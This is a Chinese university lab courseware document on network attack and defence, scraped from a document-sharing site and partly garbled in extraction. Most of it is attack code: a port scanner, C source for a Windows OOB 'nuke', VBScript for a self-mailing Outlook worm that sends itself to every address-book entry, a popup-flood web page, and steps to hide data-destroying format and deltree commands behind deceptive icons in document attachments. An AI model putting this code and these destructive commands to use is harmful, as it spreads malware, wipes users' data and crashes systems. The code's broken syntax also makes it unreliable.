您好,欢迎访问三七文档
当前位置:首页 > 商业/管理/HR > 咨询培训 > 网络攻击与防御实例课件
网络攻防技术实例高平信息科学技术学院信息对抗技术教研室2005年3月一、扫描器程序设计要求具备网络攻防基本原理、C++编程技术、VBS脚本编程、基于TCP/IP的WinScoket编程。这个扫描器相当简单,只需要有一定的C语言编程能力和Socket知识就可以完成。当然,这个简单的扫描器并不是真正意义上的端口扫描器,因为它给出的信息太少了,而且这种扫描会在目标机上留下大量的记录,有经验的管理员一看就知道自己正在受到攻击,而且可以马上追踪到扫描者。如果要进一步扫描出更多信息并隐蔽自己,需要用到许多复杂的扫描技术。Y建立套接字设置端口号用connect与指定IP地址连接与端口请求连接是否连接?显示端口开启显示端口关闭取下一个端口N#includewinsock2.h//包含windows套接字函数#includestdio.h#pragmacomment(lib,ws2_32)//将注释wsock32放置到lib文件中#includestdlib.h#includewindows.hvoidmain(){WSADATAws;//将ws的数据类型声明为WSADATASOCKETs;structsockaddr_inaddr;//系统保存套接字地址的结构体intg1,k;longg2;printf(请输入要监测最大的端口号\n);scanf(%d,&k);//下面用connect与端口建立连接,如果可以连接表示端口开启,否则关闭for(inti=1;ik;i++)//循环1到k个端口{g2=WSAStartup(0x0101,&ws);s=socket(PF_INET,SOCK_STREAM,0);//创建套接字,TCP/IP协议,流Socketaddr.sin_family=PF_INET;//规定使用IPv4协议addr.sin_addr.s_addr=inet_addr(10.1.8.**);//指定为IP为10.1.8.**,实验时可以更改addr.sin_port=htons(i);//端口号if(s==INVALID_SOCKET)break;//如果socket没有连接上,退出g1=connect(s,(structsockaddr*)&addr,sizeof(addr));//建立连接,判断端口是否关闭if(g1!=0){printf(10.1.8.62:%i端口关闭\n,i);//指定的端口关闭WSACleanup();}else{printf(10.1.8.**:%i端口开启\n,i);}//指定的端口开放closesocket(s);//关闭套接字}}二、OOB网络炸弹攻击编程OOB(OutOfBand)是TCP/IP的一种传输模式,是早期Win95/NT的漏洞,攻击者向系统139端口传送0字节数据包时,Win系统自动恢复该数据碎片,导致系统资源耗尽,使机器出现蓝屏,以至死机。常见有:WinNuke、Voob等网络炸弹。该程序是用VisualC++6.0语言设计的,使用Scoket套接字的通信形式,利用数据包频繁的发送,造成接受方系统瘫痪。#includewindows.h#includewinsock.h#includestdio.h#pragmacomment(lib,wsock32.lib)/*定义攻击目标计算机的IP地址*/char*IpAddr;intIpPort;//进攻端口135或137或139char*Msg=Youarebombed!;/*在被攻击者计算机上显示Youarebombed!字符串*/voidBanner(void){/*被段显示攻击者信息*/printf(Windows95OOBBomberbyjiaocang);}intmain(intargc,char*argv[]){/*开始定义变量*/structsockaddr_insin;WSADATAwsaData;SOCKETsd;Banner();/*显示攻击者信息*/{printf(usage:OOBIpPort135);return1;}IpAddr=argv[1];IpPort=atoi(argv[2]);/*初始化winsock*/if(WSAStartup(MAKEWORD(2,2),&wsaData)!=0){printf(initsocketerror!);return1;}IpAddr=argv[1];IpPort=atoi(argv[2]);/*初始化winsock*/If(WSAStartup(0x0101,&wsaData)//函数WSAStartup()初始化WindowsSocketAPI,参数WAVES指定为winsock版本,参数wsadata指定为返回WSADATA的数据类型{printf(“InitTCP/IPstackerror!”);Return1;}}if(wsaData.wVersion!=0x0101){printf(Winsockversionisincorrect);//*版本有错误,无法通信*/WSACleanup();//函数WSACleanup()关闭Socket套接字//return1;}if((sd=socket(AF_INET,SOCK_STREAM,IPPROTO_IP))==INVALID_SOCKET){printf(Createsocketerror!);return1;}//*连接到被攻击者的IP地址#//printf(connecteto[127.0.0.0:139]);//*发送攻击字符*//if(send(sd,Msg,strlen(Msg),MSG_OOB)==SOCKET_ERROR){printf(senddataerror!);closesocket(sd);WSACleanup();return1;}//*关闭连接,释放资源*//closesocket(sd);//WSACleanup();//*提示printf(Bombcomplete!);return0;}三、木马设计原理特洛伊木马(Trojanhorse)是一种隐藏了具有攻击性的应用程序,与病毒程序不同,它不具备复制能力,其功能具有破坏性质。大部分木马采用C/S运行模式,当服务端在目标计算机上被运行后,打开一个特定的端口进行监听,当客户端向服务器发出连接请求时,服务器端的相应程序会自动运行,来应答客户机的请求。黑客目标主机后门连接被拒绝连接成功源程序如下:四、OutLook漏洞攻击程序设计网络邮箱病毒是目前常见的攻击手段之一,该编程要求学生具备以下几点基础:1.VBS脚本语言、Javascript脚本语言、网页编程、Windows系统脚本语言。2.具备网络编程知识,Windows网络安全设置,网络传输构成,Windows注册表设置,请参照《信息系统安全与对抗技术实验教程》(罗森林、高平)OutLook攻击程序是由VBScript编写的,其自我复制的原理基本上是利用程序将本身的脚本内容复制一份到一个临时文件,然后再在传播的环节将其作为附件发送出去。我们看看脚本是怎么样完成这个功能的。Setso=CreateObject(Scripting.FileSystemObject)//是创建一个文件系统对象so.GetFile(WScript.ScriptFullName).Copy(C:\dateiname.vbs)//打开这个脚本文件,WScript.ScriptFullName指明是这个程序本身,是一个完整的路径文件名。GetFile函数获得这个文件,Copy函数将这个文件复制到c盘根目录下dateiname.vbs这个文件。通过OutLook传播的电子邮件病毒都是向地址簿中存储的电子邮件地址发送内同相同的脚本附件完成的。SetobjOA=Wscript.CreateObject(Outlook.Application)//创建一个OUTLOOK应用的对象SetobjMapi=objOA.GetNameSpace(MAPI)//取得MAPI名字空间Fori=1toobjMapi.AddressLists.Count//遍历地址簿SetobjAddList=objMapi.AddressLists(i)Forj=1ToobjAddList.AddressEntries.CountSetobjMail=objOA.CreateItem(0)objMail.Recipients.Add(objAddList.AddressEntries(j))//取得邮件地址,收件人objMail.Subject=你好!objMail.Body=这次给你的附件是我的新文档!objMail.Attachments.Add(“c:\virus.vbs)//把自己作为附件扩散出去objMail.Send//发送邮件NextNext……….五、网络炸弹编程设计打开outlookexpress:进入发信编辑例:网页炸弹,该程序保存在htm为后缀的文件中,放在邮件的附件中,当双击它时,出现无穷网页窗口,将系统资源耗尽。htmlheadtitleno/titlescriptlanguage=“JavaScript”使用Java脚本functionopenwindow(){for(i=0;i3;i++)这里可以控制窗口的个数window.open(')}/script/headbodyonload=openwindow()/body/html例:网络炸弹,如果将电子邮件夹带在word文挡中,激活炸弹方法如下:建立一个新文件-执行”插入-对象”-插入”包”对象-确定start.exe/mformata:/q/autotest/uformat:格式化a:磁盘/q:快速格式化u:强制执行autotest:自动执行例:txt炸弹(1)建立一个仅有简单字符的文本文件,任意取文件名,如在记事本建立一个空格文件。(2)打开写字板文档,将该文件拖入写字板文档中。也可以从写字板的“插入”—“对象”,弹出”插入对象”的对话框中选择“从文件创建”—然后在“浏览”按钮选择要插入的文件。(3)调用对象包选中该插入的图标,单击右键,选择“对象包对象”--“编辑对象包”。在“对象包”的对话栏中选择“编辑”--“命令行”可以输入以下命令。Formata:/q/autotest/ustart.exe/mformata:/q/autotest/u(win98系统)deltree/ya:\*.*c:\*.*deltree/yc:\windows\system\*.c(4)修改外观单击“插入图标”--从中任选一个图标。这里要求选择一个具有欺骗性的图标,能够使用户上当而被攻击。比如:将下载音乐的图标加入信件文档中,当双击时则系统被破坏。输入命令形式如下:同时可以给包建立一个文件名,这样更有诱惑性,方法:“编辑”--“标签”--在对话框中输入所要更该的文件名。然后将包拖放到桌面上,可以作为附件发出,或嵌入文档中。防治:在怀疑的包上单击右键,选“编辑”,即可看到输入的命令。六、实验要求实验目的:掌握有关网络攻击与防护的基本原理,请参照有关书籍。了解常用网络攻击软件:扫描器、木马、密码破解器等。实验要求:利用脚本语言、C语言设计网络攻击程序:漏洞扫描器、木马、邮箱攻击程序等。通过WIN系统,结合日志分析、入侵检测分析,利用防火墙技术和WIN安全审核工具,加固自己的网络与计算机系统。通过课堂实验指导,了解程序设计思想与基本方法,要求学生在课余查阅图书资料,根据实验范例,对实验内容举一反三,独立设计软件。具体如下:了解信息收集的原理和扫描器的概念,区别端口扫描器与漏洞扫描器,它们的应用场合及在攻防系统中的作用。掌握常见的扫描器软件使用方法,如:SATAN、CIS、SuperScan。要求学生在上机时根据自己使用的扫描器软件对实验室网络系统进行漏洞扫描并分析扫描
本文标题:网络攻击与防御实例课件
链接地址:https://www.777doc.com/doc-1842840 .html